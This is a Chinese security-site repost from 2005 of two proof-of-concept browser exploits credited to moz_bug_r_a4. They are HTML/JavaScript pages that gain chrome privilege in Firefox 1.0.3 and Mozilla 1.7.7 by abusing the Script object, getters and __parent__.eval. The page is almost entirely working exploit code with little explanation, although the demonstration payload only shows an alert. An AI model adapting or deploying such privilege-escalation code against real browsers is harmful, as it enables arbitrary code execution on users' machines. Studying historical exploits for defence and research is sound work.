统计在线人数...

Mozilla Suite and Firefox Script objects Command Execution Exploit

[ 来源:不详 | 作者:neeao | 时间:2005-5-22 15:24:56 | 浏览:统计中... ]


来自:黑色天空
<html>

<head>

<title>Proof-of-Concept for Firefox 1.0.3 - by moz_bug_r_a4</title>

<body>

<script>

// it needs chrome privilege to get |Components.stack|

var code = "alert('Exploit!\\n\\n' + Components.stack);";

var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');

var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";

var script = (function() {

function x() { new Object(); }

return new Script(scriptCode);

})();

document.body.__defineGetter__("type", function() {

return { toString : script };

});

var event = document.createEvent("Events");

event.initEvent("PluginNotFound", true, true);

document.body.dispatchEvent(event);

</script>

</body>

-----------------------------------------------------------------------------------------

<html>

<head>

<title>Proof-of-Concept for Mozilla 1.7.7 - by moz_bug_r_a4</title>

<body>

<div id="d"></div>

<pre>

Click on the red box.

</pre>

<script>

// it needs chrome privilege to get |Components.stack|

var code = "alert('Exploit!\\n\\n' + Components.stack);";

var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');

var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";

var script = (function() {

function x() { new Object(); }

return new Script(scriptCode);

})();

var xulns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";

var node = document.createElementNS(xulns, "input");

node.__defineGetter__("type", function() {

return { toString : script };

});

node.style.width = "100px";

node.style.height = "100px";

node.style.backgroundColor = "#f00";

document.getElementById("d").appendChild(node);

</script>

</body>
共有0人参与评价,平均得分:0分
评论内容只代表网友观点,与本站立场无关! 查看完整内容
   

当前在线人数
QQ:748838 MSN:allen_xia#msn.com E-mail:allenxia666#126.com QQ群:站长联盟北方区-北京(28200145) 站长联盟南方区-上海(67713522)